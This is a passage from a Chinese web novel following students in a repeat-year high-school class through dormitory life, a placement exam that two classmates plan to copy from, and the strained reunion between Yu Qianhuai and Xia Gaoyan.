然后掏出手机,翻到马星河的微信,打开了输入框。
一直没说话的温念摇摇头。
“不用了,我不吃宵夜的。”
听见这话,马星河突然怪腔怪调地说。
“哟,你怎么和严哥一样,他也不吃宵夜。”
走在他左边,正无精打采的夏高严听到马星河突然提他,这才堪堪回过神来。
不过依然没给出什么反应。
倒是一边的周红来了兴致,她趁热打铁道。
“哇,你俩好像哦。”
不过吸取了之前的教训,她这次没有很夸张,只顺水推舟说了这么一句。
要换做以前,卢云搭话的时候她可能就开始往两人身上找话茬了。
周红偷瞄温念的表情,发现她不像之前那么排斥,于是继续不露声色地说道。
“哎呀,我知道你们这些学霸个个都是自律高手,这堕落的滋味就留给我们这些堕落的人来承受吧!”
温念在一旁小声纠正。
“我不是学霸……”
周红反驳道。
“单科学霸也是学霸!”
马星河眼睛一亮,立刻附和。
“就是就是!像虞总不就是当之无愧的单科学霸!”
这话说得没错。
虞浅怀应该是他们班最大的单科学霸。
此话一出,周红的表情顿时僵住,她讪讪地笑道。
“啊哈……”
然后马上转过头去给卢云报菜名以转移话题。
“哦对了小云,我要一串豆干,一串苕皮,10个小羊肉串……”
卢云一一记下,然后加上自己的给马星河发了过去。
马星河盯着手机屏幕,絮絮叨叨地和她算价格。
两人不停地交流着烧烤相关。
温念这会儿才假借听卢云说话的名义隔着两个人偷偷朝夏高严那边看了一眼。
她发现他目光空洞,对旁人的话题漠不关心,不知道在想些什么。
虽然她看上去也和他一样,不太在意其他人的事。
但其实她有挂一点注意力,至少她知道卢云她们都点了什么。
不一会儿几人出了走廊,来到宽阔的衔接平台,再往前面就是楼梯了。
就在此刻,马星河忽然瞥见了前面人群中一抹熟悉的身影。
正是虞浅怀和金铭。
两人沿着台阶朝下走,第一节台阶的分界线已经没过了小腿肚。
马星河立刻丢下正说话的卢云,朝虞浅怀喊了一声。
“虞总!”
虞浅怀转过头来。
好死不死,又让她看见了走在边上的某人。
脸上的笑容瞬间敛了一半。
“嗨。”
夏高严鼻尖酸涩地抬起头来。
七零八落的一颗心终于被狠狠搅动。
他好想追上前去问她为何要删了自己。
但这会人太多,实在不是个好时机。
他捏紧的手心又放开,唇瓣紧紧抿着。
虞浅怀只打了个招呼就转过了头,继续和金铭说话。
马星河快步走上前去,献殷勤般地问她。
“虞总,你吃烧烤吗?我正好去给卢云她们带,可以顺便给你带。”
他的脸上写满了期待和讨好。
周红看着马星河这副谄媚的样,嘴角向下撇了撇。
果然如她所料,虞浅怀一出现。
某些雄性生物的眼光就跟吸铁石似地黏到她身上去了。
不过比较欣慰的是,她觉得夏高严还算淡定。
刚刚他只懒懒看了一眼,就又低下头去,仿佛连招呼都不屑于打。
她心想,果然是个见过世面的帅哥,不像马星河那样赴炎附势。
虞浅怀回头道。
“不用啦,我不吃宵夜。”
马星河扯了扯眉梢。
“哟,你们学霸怎么一个二个都不吃宵夜!”
虞浅怀蔫坏地逗他。
“啊,因为吃宵夜会影响我做物理大题的思路。”
听到这句话,夏高严脸上的表情差点没绷住。
这就纯属一本正经地胡说八道了。
以前她是最爱吃宵夜的,哪怕逃自习都要出去吃。
马星河居然信以为真。
他挠挠头,在那嘀咕。
“真的假的啊?”
虞浅怀无可救药地看了他一眼。
“傻不傻……你还真信?”
卢云没忍住笑出了声。
“哈哈哈,有点脑子好不好?你就是那批老了被卖保健品的!”
金铭干咳两声,自言自语道。
“终于找到一个比我还傻的了……”
虞浅怀立刻反驳。
“不,你不傻。我那次是认真骗你的。”
马星河:“嘿,合着就欺负我是吧?”
几人就这么斗着嘴,说着笑着下了楼。
夏高严勾起唇角,心里的阴霾好似被驱散了那么一点儿。
每次只要看到她,心情就会变好。
——如果她能理他一下就更好了。
走出教学楼之后。
卢云自告奋勇一个人跟着马星河去拿烧烤。
所以回宿舍的只有虞浅怀、温念和周红三人。
周红看上去明显不太想说话。
她躲在温念旁边,低头看手机。
反倒是寡言的温念开始找话题聊天。
“浅怀,你们宿舍有几个人是这届高三的呀?”
“有两个。”
“哦,那咱们班的就你和……”
“刘畅。”
“哦
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哦,对。”
真是说曹操曹操就到。
两人正聊着,虞浅怀就这么眼睁睁地看着刘畅擦着肩膀超过了她们。
她步履飞快,丝毫没有要和虞浅怀打招呼的意思。
温念盯着刘畅的背影,有点欲言又止。
不知道她刚刚有没有听到她的名字。
虞浅怀倒是习惯成自然。
她这个室友,性格冷冷的。
基本独来独往。
不过她也吃不准她到底是对她冷还是对所有人都冷。
因为缺乏参照物。
学妹们和她们天然少一层话题。
她对她们冷也说得过去。
这就很难分辨假如这宿舍全是复读班的,她又会是什么态度。
虞浅怀岔开了话题。
“下周就摸底考试了,时间过得真快啊。”
她像个人机一样,把祁韦今天提到的事又重复了一遍。
没办法,其实她不太擅长交际。
尤其她隐隐感到温念旁边那个周红似乎有点不友善。
不是一开始就这么认为。
而是好几次之后,她有了这种感觉。
这种情况下随便扯点话头就好。
千万别聊得太深入。
这也是她之前吸取的经验教训。
温念叹了口气。
“就是啊,有点怕怕,要是还没高考考得好就糗了。”
虞浅怀正想出言安慰,没想到一直不做声的周红居然开了口。
“念念,到时候要是我俩座位被调开可怎么办啊?”
温念宽慰她道。
“没事,如果考得好应该可以选座,到时候我选你旁边就好。”
周红激动地摇着温念胳膊。
“天哪!我太爱你了念。”
温念提醒道。
“咳咳,前提是我能考好。”
“那必须的!你肯定考得好!”
温念笑了起来,不停抚着周红的手臂。
虞浅怀在这一片其乐融融的对话中发现了一个关键点。
当时牛欣只说了考完要调座,听着像是上次那样由老吕单方面决定。
但听温念刚刚说的,似乎还可以根据成绩自选?
于是她转头问道。
“诶,下次座位会按摸底考试的成绩来排吗?”
温念轻轻点了点头。
“嗯,我也是无意间听到吕老师和周老师说的,好像是有这样的打算,但估计只有少数考得好的人才有这个特权。”
虞浅怀沉默了。
会有多少人能选座呢?
五个?十个?
其实她倒是无所谓,就是不知道金铭会怎么想。
她觉得还是先别告诉她了。
万一是真的,岂不是让她提前焦虑。
**
回到宿舍后,虞浅怀收了换洗衣物去洗澡。
她把自己的洗面奶、沐浴乳、洗发液、护发素等全部放到一个盆里。
然后端着这个盆走进了卫生间。
里面湿漉漉的,空气都带着温度。
应该是刚有人洗了澡。
就在她准备关门的时候,雾化玻璃门突然被一个匆匆而来的人把住。
“不好意思,请等一下。”
是刘畅的声音。
没等她回答,刘畅就推开了门,外面的冷空气瞬间钻进来。
脱得只剩内衣的虞浅怀抱着手臂退到旁边。
刘畅进来后没有看她。
只径直拿走了遗留在窗台上的一瓶洗发液和旁边的香皂盒子。
然后一阵风似地退了出去。
好吧,她也不是不能理解。
但其实完全可以等她洗完再来拿吧?
窗台那边沾不到水汽,既然刚洗完澡,洗发液和香皂就都不是急需品。
一定要这么着急吗?
除非——
9. 她不
除非她怕自己用她的东西。
不知道怎的,她就是冒出了这个想法。
有点离谱,但感觉这个解释挺合理。
她觉得刘畅不太信任她。
洗完澡后,虞浅怀坐在书桌前吹头发。
她偷偷看了下其他三人。
冯铮在书桌前学习,丁珏已经上床了。
而刘畅在她打开吹风后,戴上了自己的头戴式耳机。
……
“嗡嗡——”
桌上的手机震动了两声。
虞浅怀滑动解锁。
消息是许悠发来的,但内容却让她愣住了。
许O:下周摸底考试加油噢!(提前发来慰问)——by小O专属打气瓶
虞浅怀觉得奇怪,她并没有给许悠说过摸底考试的事啊,她是怎么知道的?
她把吹风放到桌上,打字回复。
浅坏:你怎么知道我要考试?
许O:[探头]
许O:唉,我本来不想说的。
浅坏:?
浅坏:怎么了?
屏幕顶上反复出现“正在输入”的字样,走走停停。
于是她又把吹风拿起来,继续吹头。
过了一会儿,许悠终于发来消息。
许O:曲晶菁居然咒你摸底考试比高考还烂!我那个气啊!所以忍不住来给你加油了。[委屈][愤怒]
虞浅怀看着屏幕陷入沉思。
曲晶菁又是怎么知道的?
而且她觉得,对方似乎有点太关注自己了吧。
是大学生活太无聊了吗?
她好歹也上的一个末流985,一天天就这么闲的吗?
虞浅怀想着,看来还是得尽量去更好的学校。
浅坏:你放心好了,那是不可能的。[熊猫头][熊猫头]
浅坏:[微笑]她不会以为自己在H市还能像以前那样搞小动作吧?
许O:就是就是,我看她那是被天降正义砸中脑壳之前的临终幻想!
话虽这么说,但虞浅怀的背脊还是爬上一股瑟瑟的凉意。
她把吹风的温度往上调了一档,试图让自己暖和一点。
这个该死的女人,怎么毕业了还阴魂不散?
她叮嘱许悠。
浅坏:你注意点啊别被她发现那是你的号了。
许O:放心吧,我那个号早就和她互关了,她也是蠢,居然一直不知道是我。
许O:一开始我的个人信息还挺明显的,后来我知道那是她之后就马上隐藏了。
浅坏:嗯嗯,好~反正你注意下别暴露了。
许O:你就放一万个放心!
许悠之所以能一直和她传递消息,是因为退了她们的小群之后,她还有个搞小众爱好的号和曲晶菁的小号意外互关过。
曲晶菁爱用那个号吐槽各种事情。
自从她知道虞浅怀复读之后,更是动不动就发些疯言疯语。
不过她一般发完就删,许悠也得碰巧在号上才能看见。
虞浅怀想不通到底是谁把这么详细的事告诉曲晶菁的。
如果说她复读以及夏高严复读算是人尽皆知的大事,那下周举行摸底考试这种琐碎的事得班里的同学才知道了吧?
而这个班除了她,就只有夏高严是原八班的。
总不可能是夏高严给她说的。
她在心里认真分析夏高严和曲晶菁联系的可能性。
整个人在座位上一动不动。
正当她回顾两人交情的时候,突然有人冷不防从后面点了点她的背。
“啊!”
虞浅怀吓得肩膀一抖,轻轻叫出声来。
她回过头去,刘畅无奈地看着她。
“你可不可以一次性把头发吹完?”
虞浅怀尴尬地笑了笑。
“哈,不好意思,我这就吹。”
刚刚和许悠聊天,她每次都把吹风放下来打字,然后又拿起,如此往复。
吹风机的噪音的确有些大。
她感叹,果然没家里那么自由了。
但又觉得有些不舒服。
人家学妹都没说什么,就她意见多。
不过这种想法只存了一瞬。
既然选择住校,还是收敛些吧。
虞浅怀嘟起下嘴唇,轻轻朝上面吹了口气。
然后把吹风机调到最大档,火速吹干了头发。
“咚咚咚!”
就在她梳头的时候,外面突然响起敲门声。
虞浅怀的床位就在附近,她起身去开门。
门刚一打开,一股烧烤的孜然香气立刻飘了进来。
随之响起的还有卢云爽朗的声音。
“浅怀!这是马星河让我带给你的。”
虞浅怀皱着眉头接过来。
是一个装着烧烤的盒子。
外面罩着两层已经起雾的塑料袋。
她的表情有些苦恼。
“啊?我不跟他说我不要吗?”
卢云笑得暧昧,八卦的眼神压都压不住。
“嗨呀,咱也不知道啊,他非得让我带给你,啧啧。”
虞浅怀轻轻叹了口气,卢云摆摆手道。
“反正我任务完成!先走啦,拜拜。”
“行,那麻烦你了。”
“没事儿。”
卢云走后,虞浅怀把盒子放到桌上,解开了塑料袋的系绳。
盒子里面装着年糕、排骨、鸡翅等,感觉有不少好东西。
她皱起了眉头。
马星河真是的,非得这样。
对面床的丁珏听见动静,已经一个鲤鱼打挺坐起来,探出了身子。
“哇哦!有吃的!好香啊天,我流口水了。”
虞浅怀抿起唇角抬头看她。
“你要吃吗?要吃你就下来。”
丁珏欢快地答应。
“好勒,我来也!”
虞浅怀又转头问其他人。
“你们要吃吗?”
犹豫了下,她补充了名字。
“冯铮,刘畅。”
刘畅转过来看了眼,淡淡说了句。
“不用了谢谢。”
冯铮有点禁不住诱惑,把椅子往后面一拉。
“哎呀,这大半夜的,也太馋了呀!”
她一回来就在那做题,这会有点想休息了。
冯铮起身过去,丁珏已经穿着拖鞋下楼,把盒里的竹签递了一根给她。
虞浅怀则拿起了手机,把位置让给她俩。
她坐到丁珏那边去发信息。
丁珏戳起一块年糕问她。
“虞姐,你不吃吗?”
虞浅怀摇摇头,背对她说了句。
“你们先吃吧不用管我。”
她在给马星河发信息。
浅坏:你怎么还是给我带了?我不说不吃宵夜吗?
浅坏:一共多少钱?我发你。
对方的名字立刻变成“正在输入”。
结果等了半天,也没看到他发过来。
她索性直接按估价给他发了30块过去。
小马老板:今天卢云她们点了很多,我爸一高兴就送了她们几串,所以我就也给你拿了点,你放心,不要紧的!
虞浅怀挑眉。
拿了“点”?
然后就拿了满满一盒……
这借口太拙劣了点。
小马老板:哎呀,你怎么还给我钱!
小马老板:就当我抄你作业的回报呗,难道几串烧烤就把你马老板吃穷了?不可能!
小马老板:你就安心吃吧。
虞浅怀叹了口气,打字回复。
浅坏:下次不许了啊!我认真的。
浅坏:你是不是存心不想让我做物理大题?
小马老板:……
小马老板:[敲头][敲头]
回完马星河的信息,丁珏走过来,把戳在竹签上的一块排骨递到她嘴边。
虞浅怀伸过脖子咬下。
丁珏眨眨眼睛搂住了她的肩,然后低声道。
“虞仙女,快快快告诉我,马星河是谁?我想听八卦!”
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虞浅怀敷衍道。
“就是我们班的一个同学……”
“长得帅吗?”
“一般吧。”
“哦,那没兴趣了。配我们虞仙女的一定得帅哥才行!”
虞浅怀额角一扯。
帅哥有时候也不见得就好。
帅可以,渣就不行了。
不知怎么的,脑子里突然划过了夏高严那张严肃板正的脸。
正想着,手机忽又震动一下。
她掏出来一看,登时深吸一口气。
——“夏请求添加你为朋友。”
好家伙,他这是连上她的脑电波了?
虞浅怀点进去看他的验证语。
夏:浅,为什么要删我?
看到这行字,心里突然被轻轻揪起。
眼前正出着神,丁珏又给她递了一块鸡翅过来,虞浅怀摆摆手。
“你俩吃吧,我已经戒了宵夜了。”
把剩下的烧烤全部打发给丁珏和冯铮后,她重新去刷了个牙。
然后揣着手机上了床。
界面还停留在夏高严的验证消息上。
为什么要删他?
因为那时她觉得,一切都没意义了。
两人只是在彼此的人生里短暂地交集了一下。
之后便会各奔东西,一别两宽。
他有大好前程,而她,不过是一个败兵。
那天早上,她在酒店里为他留下的字条里写着。
——“放心,我不会去死。但就此别过,后会无期。”
——“勿念。”
后来,陆陆续续收到他发的消息。
但她觉得没有意义,所以一条也不回。
再后来,决定复读之后,她就把他删了。
其实她不愿去回忆那些事,但他总能让她想起。
挺讨厌的。
就像现在,他问她为什么要删她。
就又逼得她想起那些不愿再想起的事。
干脆不回了。
就当没看见吧。
虞浅怀摁熄屏幕,把被子拉到嘴边,强迫自己闭上了眼睛。
**
时间过得很快,一眨眼就到摸底考试了。
班里肉眼可见地浮起一层忧虑。
这个班的每个人,几乎都称得上是高考的失败者。
所以这次考试恐怖的点在于——考试的结果很可能会让他们再次面对自己的失败。
而且不知道怎么的,考后会按成绩排座的消息已经在班里大肆传开了。
她想保密的心情也落了空。
金铭哭丧着脸,心情爆炸。
“完了完了完了,我一点也没复习,不知道会被排到什么旮旯去,唉……”
虞浅怀不知道该说点什么才能安慰到她。
只得不痛不痒地说一些冠冕堂皇的话。
“没事,我觉得老吕肯定会安排更适合大家的位置,他不会放弃我们的。”
“唉,希望吧。”
下午的化学课上,吕永昌在班里公布了考试安排。
考试和高考一样,为期两天。
届时不会清掉桌兜里的书,只把桌子拉开一点防止坐得过近。
以及此次考试的座位号将会按高考成绩来排。
最后一条应该是为了防止作弊。
因为成绩差不多的坐在一起,抄袭的概率会大大降低。
但吕永昌失策的是,虞浅怀是个最大的bug。
她是因为高考失利才考那么差的。
所以理论上如果此次考试她正常发挥,考进班内前十应该问题不大。
但知道这件事的人不多。
很多人都以为她除了物理和数学一无是处。
却不知她高考那时候英语全废,化学生物都只做了选择题,最后才考出了如此惊世骇俗的低分。
于是座位号公布没多久,就有知情者开始动起了歪心思。
当金铭正为考试焦头烂额的时候,某人到座位上找她。
“嗨浅怀,你可以出来一下吗?”
10. 她想
说话的是之前坐她前排的一个男生,叫彭鑫。
彭鑫笑得有点夸张,一双小眼睛弯得快要看不见了。
马星河也在,他在彭鑫旁边搓着手,表情有些不自然。
虞浅怀眉头轻皱。
“有什么事吗?”
马星河干咳两声。
“虞总,咱们出去说吧?”
虞浅怀额角一扯。
“搞什么啊这么神秘?”
但还是从座位上站了起来。
她倒要看看马星河葫芦里卖的什么药。
于是三人一起出了教室。
彭鑫和马星河带着她,沿着走廊一直往前走。
一直走到了走廊尽头。
“喂,前面是男厕所。”
她现在已经不会再走错了。
所以立刻向二人提出了质疑。
马星河咯咯咯直笑。
“放心,我们难道还会把你带到男厕去?”
“到底去哪?”
她的耐心在消失。
“马上马上。”
对方安抚道。
很快,他俩在男厕前面一拐,进了旁边的楼梯间。
虞浅怀抄着手跟进去,心里直犯嘀咕。
说个事还跑这种旮旯角落,感觉不会是什么好事。
学生一般都从大楼梯下去,这个楼梯间不太常用。
敞了一扇的黄色大门顶上挂着一层蛛网。
虞浅怀扇了扇空气里的灰尘味儿。
“快说,到底什么事?”
彭鑫小心翼翼地开了口。
“是这样的,就这次考试,我和马星河就坐你旁边……考试的时候能不能……”
男生有点扭捏,耳朵已经变粉。
马星河直截了当地打断他。
“能不能给我们抄一下!嘿嘿!”
说完他憨笑着用手挠挠后颈。
“不要。”
虞浅怀白了两人一眼,掉头就走。
这个班里,知道她真实水平的人不多。
除了夏高严和金铭,就是马星河了。
难怪他会找上自己。
下一秒,马星河立刻冲到她前面拦住了她。
“哎哎哎哎……等一下,虞总。”
虞浅怀嫌弃地看着他。
“一个摸底考试而已,你们怕成这样?”
马星河苦笑道。
“哎,这不都说到时候会按成绩排座么?都复读了,我们也想拼个好点的座位,如果周围全是成绩差的,到时候连个问问题的人都没有,那也太惨了!真不是故意想抄的。”
虞浅怀打量着他脸上焦急的神色。
她寻思之前马星河的同桌是她,现在是夏高严。
无论是问题还是抄作业都很方便。
他这是被惯坏了吧……
马星河见她不说话,立刻趁热打铁道。
“你放心!到时候你什么也不用做,绝对不会影响你的,只要我们抄的时候你别故意挡着卷子就行!”
彭鑫在旁边狠狠点头。
“对对对,我们自己看就好了。”
虞浅怀懒洋洋地抬起眼皮。
“随便,如果你们能在我涂完答题卡之前抄完的话。”
她挑了挑眉梢。
“大题也一样,反正一做完我就会交卷,能不能抄到,看你们本事。”
马星河一听,顿时喜出望外。
“可以可以!这样就行了,谢谢虞总!”
他赶紧拉了拉彭鑫。
两人一起点头哈腰地鞠躬。
“谢谢啊虞总!”
“回头还请你吃烧烤!”
虞浅怀冷哼一声,摆摆手道。
“不用。”
然后头也不回地转身出了楼梯间。
马星河和彭鑫像小弟似的从后面跟上来,不停地说一些感谢的话。
好巧不巧,一个高挑瘦削的身影迎面而来。
正是夏高严。
他过来上厕所。
瞬间就看到走在最前面的虞浅怀。
他神色一紧,目光在三人身上流连。
心绪微微起伏着。
虞浅怀则迅速与他错开眼神。
朝旁边的墙壁看了过去。
那天无视了他的好友请求。
她有点心虚。
两人都各怀心事,反倒是马星河大方地打起了招呼。
“嗨,严哥,去厕所吗?”
夏高严颔了颔首。
马星河想了下道。
“我也去。”
然后拉着彭鑫。
“一起吧?”
对方附议。
“走了虞总。”
去之前马星河还不忘给她打个招呼。
虞浅怀头也不回地含糊应了句。
“嗯,拜。”
就这样,那两人从她的小弟瞬间变成夏高严的小弟。
但作为“大哥”,他心里并不舒服。
他不知道自己什么时候,才能像其他人那样正常地和她说上话。
那日之后,竟落得如此疏远。
甚至还不如像以前那样做普通同学。
夏高严闭了闭眼睛。
厕所里刚消过毒,一股刺鼻的84味肆虐着他鼻腔里的黏膜。
“啊切!”
他重重地打了个喷嚏。
鼻尖泛红。
眼眶里也盈出点点泪光。
回到教室后,他扯了张纸擤鼻涕。
然后起身去办公室拿作业。
步子迈得沉重。
甫一推开门,温念正抱着一沓作业出来,和他面对面迎上。
温念局促地打了个招呼,然后迅速低下头去,匆匆离开。
夏高严漠然地点了点头。
神情有些疏离。
他还沉浸在刚才的偶遇里。
回去的路上,温念暗暗寻思。
好像每次碰到夏高严,他都一副心事重重的样子。
其实她觉得他和自己的性格有一点像,都是那种温柔沉闷型的。
但对方似乎比她更多一层忧郁。
她不禁有些好奇,这位孤独的学霸,每天都在想些什么呢?
**
第二天。
摸底考试如约进行。
关于试卷的的选择,各科老师有自己的想法。
语文、英语和生物老师认为摸底考试看个大致情况就行了。
要求不用太高,遂选了和高考差不多或者难度更低的题。
但物理和数学老师则认为,刚过去的高考属于“小年”,试卷难度较低。
如果摸底考试和高考一样简单,恐怕学生们会就此放松警惕,无法引起重视。
所以就选了一档稍高难度的试卷,以便给学生一个“下马威”。
告诉他们复读不是闹着玩的。
至于化学,则更是由吕永昌亲自坐镇,出了一套有针对性的刁钻易错题。
这场考试下来。
绝大部分人都不嘻嘻。
因为强度集中在了数学、物理和化学这三科上。
全是理科的核心科目。
虞浅怀还好,除了化学的实验部分,别的对她来说都算不上很难。
她甚至提前交卷了,和那时候说的一样。
至于彭鑫和马星河到底抄了多少,她不甚关心。
不过她感觉那个彭鑫有
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点夸张。
大概以前就是作弊老手了。
什么斜眼瞟,视线遮挡法,核心步骤拆解法。
这人看着老实,结果样样精通,不在话下。
虞浅怀甚至怀疑他是因为高考不能作弊了才考那么差的。
考完之后。
虞浅怀和金铭、牛欣在食堂吃饭。
两人一起安慰焦虑的金铭。
她额头冒汗、脸色发白,看着虚弱不堪。
毕竟是一个提问答不出来就吓得半死的脆弱女高。
这次考试的结果可能让她难以承受。
“别急,这次英语和语文都比较简单,全是你强项。”
虞浅怀轻抚着金铭的背。
“可这次难的都是我的薄弱科目,那点分估计都匀不过来的,唉,回家又要挨骂了……”
虞浅怀见金铭眉头紧皱地捂着小腹,关心道。
“你肚子疼吗?”
金铭点了点头。
因为金铭没什么胃口,所以吃得很慢,打好的汤都凉了,饭菜估计也一样。
虞浅怀起身道。
“我去重新给你打一碗汤吧。”
如果是以前,她可能不会去。
甚至根本不会注意到同伴捂肚子的细节。
现在她变了不少。
因为她发现人啊有时候没那么强大。
人这种生物太脆弱了,一个浪头打过来就趴下了。
所以尽量与人为善,帮助一些同样善良的人。
说不定走到死胡同的时候还能有一线转机。
那会要不是还有个许悠,她差点就撑不过去了。
就因为许悠之前,她只有曲晶菁一个朋友。
虞浅怀走到打汤的地方,发现桶里只剩下一个底那么点汤。
她尽力打了一碗起来,用手摸了下碗身,感觉一点也不热。
于是她端着那碗汤,来到附近的一个窗口。
“阿姨,可以帮我加热一下这碗汤吗?”
虞浅怀面颊上挂起一个甜甜的笑容。
戴着白色厨师帽的食堂阿姨看了眼道。
“你那个别要了,我重新给你打一碗。”
阿姨转身进了后厨。
“好的,那谢谢阿姨!”
等待的过程中,虞浅怀盯着食台上的调料罐子发呆。
突然,一个熟悉的声音响了起来。
“虞同学。”
虞浅怀转过头去,看到祁韦朝她走了过来。
而祁韦身边的人……
居然是夏高严。
他俩又是怎么混到一起的?
不过不难猜到,两人这次考试应该是领座。
来这么晚,怕不是祁韦拉着夏高严留下来对答案了。
感觉是他做得出来的事。
虞浅怀淡淡地回了个招呼。
“嗯,班长。”
夏高严偷偷看了她一眼。
他眼尾泛红,脊背绷直。
阴鸷地站在玻璃窗口前。
虞浅怀则把头发往耳边拢了拢。
还好隔着个祁韦。
她不太想直接面对他。
阿姨还没出来,祁韦抬头看菜单。
没想到兜里手机突然响了起来。
祁韦摸出来看了眼屏幕,匆匆离开了窗口。
靠,刚想着不用面对,祁韦居然就走了。
正当她惴惴不安的时候,阿姨端着汤出来了。
虞浅怀松了口气。
谢天谢地。
她接过满满一碗飘着几颗葱花和几片菜叶的热汤,谢过了阿姨。
正准备离开,没想到夏高严开口叫住了她。
“浅浅。”
11. 她不
浅浅。
好久没人这么叫过她了。
虞浅怀身子一僵,轻轻转过头去。
清澈的眼撞进对方乌黑的眸里。
“嗯?”
她从喉咙挤出一个音节。
夏高严抿了抿唇,开口道。
“你考得怎么样?”
女孩略一思忖。
“唔,还行吧。”
可能觉得有些敷衍,又补充一句。
“应该比高考要好。”
夏高严想说点什么,但一时又觉得千头万绪,不知该从何说起。
反倒是卡壳般地愣在那里。
虞浅怀趁此机会,举着手里的碗道。
“内个,我要走了,一会儿汤凉了。”
“哦,好。”
“拜拜/拜拜。”
没想到,两人同时说了拜拜。
夏高严欲言又止地看她一眼。
虞浅怀移开目光,迅速逃离现场。
好吧,也没有很迅速。
因为那碗汤太满了。
她小心翼翼地移动着脚步,保持着汤水不洒出来的幅度。
回到座位后,金铭接过汤,感激地喝了下去。
虞浅怀这才把自己从刚刚的对话里抽离出来,融入女孩子们的话题中去。
**
晚饭后,教室里一片哀鸿遍野。
“完了完了,我数学最后一道大题没做!”
“才一道?我两道!”
“这次数学太难了吧?还有物理!”
“还有化学,要死了要死了,还不知道老吕怎么制裁我们。”
“这日子太难熬了啊啊啊!!”
“这次英语还挺简单。”
“那是你觉得简单,我觉得完型好难啊。”
周围此起彼伏的抱怨声不停。
不过因着明天就是周日,每人脸上的表情多少掺杂了几分轻松。
就算秋后算账,也得等周一了。
每周虽然只放一天,也算有个盼头。
虞浅怀准备这周回家一趟,备点秋冬衣服和被子一类。
她掏出手机给老爸发了个微信。
对方立刻回了个五颜六色还不停旋转的“欢迎回家”的巨大表情。
惹得她轻轻弯起唇角。
“金铭,今天晚上我和你一起去坐公交车。”
“诶,真的吗?”
“嗯,我这周回家,到时候和你一起出去。”
“那太好了。”
两人正聊着回家的事,不知不觉中祁韦已经来到她的桌前。
他轻轻叫她。
“虞同学。”
虞浅怀抬起头,把手机收了起来。
“嗯?班长有什么事吗?”
祁韦扶了扶眼镜。
“你物理最后一道大题第三小问的答案是多少?”
虞浅怀想了想道。
“4√3L。”
祁韦眼里顿时闪过一丝痛惜。
他大概率是做错了。
不过稍微庆幸的是,夏高严虽和他不一样,却也不是这个答案。
说明他也很可能做错了,于是心里有那么一点安慰。
“虞同学,你这次应该考得不错吧?物理数学都是你强项,正好英语还比较简单。”
虞浅怀耸了耸肩道。
“可能吧,我也不知道。”
她暗自揣摩,这个祁韦居然已经把她的成绩都摸清楚了。
啧啧,有点可怕。
“刚听你说,你今天晚上要回家?”
祁韦冷不防地问她。
虞浅怀愣了下道。
“啊……对的。”
祁韦用指背抵了下眼镜。
“放学我和你们一起吧,顺路。”
虞浅怀转了两下笔,眨眨眼道。
“可以啊。”
虽然这个请求听着有点奇怪,但也不算过分。
“嗯……好,那放学见。”
祁韦抬了抬手。
她轻轻点了下头。
然而等到放学的时候,虞浅怀发现自己毫无回家的经验,显然她需要先回寝室把一些用不上的衣服收拾好拿回家,而不是这样直接走人。
更何况,家里的钥匙还被她放在寝室的抽屉里。
于是她只得和金铭打了个招呼,然后匆匆离开了教室。
今天是周末,班里留自习的人不多。
再加上刚考完试,急需放松,很多人下了第二节就走了。
虞浅怀赶回寝室,把一些夏天的衣服装进之前带来的牛津布收纳袋里,还有一床即将用不上的空调被,也用另一个袋子装好。
做完这一切后,她拿上公交卡、钥匙等东西,再背上自己的包,然后提着两个袋子出了门。
经过教学楼的时候,陆续有人出来。
部分人不会上完一整节附加自习,可能做完手头的作业就离开了。
月色如洗,夜深如墨。
虞浅怀朝校门口走过去,一头长发在肩头轻轻滑动,偶尔遮住她的侧脸。
她在心里盘算着一会去哪里坐车。
第二节和第三节自习下课都有学生车,但中间这个时间段是没有的。
所以需要去一个普通公交站坐车,倒也不算很远,稍微走一段就过去了。
她一只脚刚踏出校门,不远处突然有人叫她。
“虞同学。”
祁韦突然从前面的某个地方站了起来,然后朝她走过来。
虞浅怀惊讶地看着他。
“金铭没跟你说我要回寝室吗?”
祁韦微笑道。
“说了啊,不过反正我没什么事,就等等你。”
虞浅怀尴尬地笑了笑。
“啊……那好吧。”
她指了指前方。
“我可能要去那边坐公交车。”
“好啊,我陪你。”
祁韦看了眼她两手满满当当的东西,伸出手道。
“我帮拿一个袋子吧。”
虞浅怀想了想道。
“那行,谢谢你。”
她把那个装空调被的袋子递给了他。
两人一起提着袋子往前走。
“你家住哪里啊?”
“四季华亭那边。”
“那坐几站就到了。”
“嗯,对的。”
前面一家文具店还亮着灯,陆陆续续出来几个买文具的人。
这段路有些黑。
虞浅怀专注着路面,没有抬头。
她打了个呵欠,突然听到祁韦喊了声。
“夏同学。”
把她吓得一激灵,瞌睡都醒了。
夏高严在距离两人3米远的地方停了下来。
他回过头,手里拿着一个新买的大号文件袋。
那几个从文具店出来的人从他身边绕过去,继续朝前走。
剩他一个人站在文具店面前。
门口微弱的白色灯光照亮他的半边轮廓。
祁韦热情地走了过去。
夏高严一眼就看到两人手里相同花色的手提袋。
心里好似暴击。
果然除了他以外,每个人都和她很亲近。
他机械地应付着祁韦的招呼,思绪
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有些飘忽。
对方手里的手提袋在他脑海中无限放大,大得好似要砸中他的脑袋。
虞浅怀也觉得有点尴尬,莫名有种被抓包的感觉。
她觉得这情形好奇怪,让她有种无力感。
祁韦帮她提袋子,本是一件平平无奇的小事,却在此刻显得如此不合时宜。
说起来她并没有和他很熟啊?
为什么这会儿偏偏看着好像很亲密的样子。
但也不好开口解释,那样只会越描越黑。
没什么的反倒成了有什么了。
不过很快,两人的注意力被转移到了祁韦的话题上。
因为他以前和班上的竞赛生同学关系还不错,这让他想起了一些事。
“夏同学,你是不是没去参加竞赛啊?”
夏高严摇摇头。
“嗯,我觉得我还是走高考比较好,竞赛太花时间了,我可能会不适应。”
祁韦心下顿时了然,难怪他只听过虞浅怀,没听过夏高严。
“哦哦,其实我当时也是这么想的,不过现在有点后悔了,没参加结果也没考好哈哈。早知道还不如博一下,说不定单车变摩托呢。”
这话一出,突然有些冷场。
因为这里有一个博了但失败了的人,还有一个本就不需要博,复读是另有目的的人。
半晌,虞浅怀开口道。
“没事,别想那么多了,今年好好抓紧吧。”
祁韦点点头。
“嗯,你说得对。”
三人一起朝车站走过去。
虞浅怀发现祁韦这人相熟之后话还挺多,很有一种控场的能力,难怪被老吕相中当了班长。
基本都是他提话题,她回答。
夏高严很少说话。
感觉他脸色不太好看。
她印象中他似乎不住车站这边,但却一直跟着他们往前走。
好像执意要和祁韦一起把她送到车站似的。
好在车站不算很远,到达后她立刻向祁韦索要袋子,祁韦却坚持要等车来了再给她。
夏高严眉目寡淡地站在旁边,不知道在想些什么。
虞浅怀的心里却微微揪起。
这种揪心的心情一直到她上车后也没放下来。
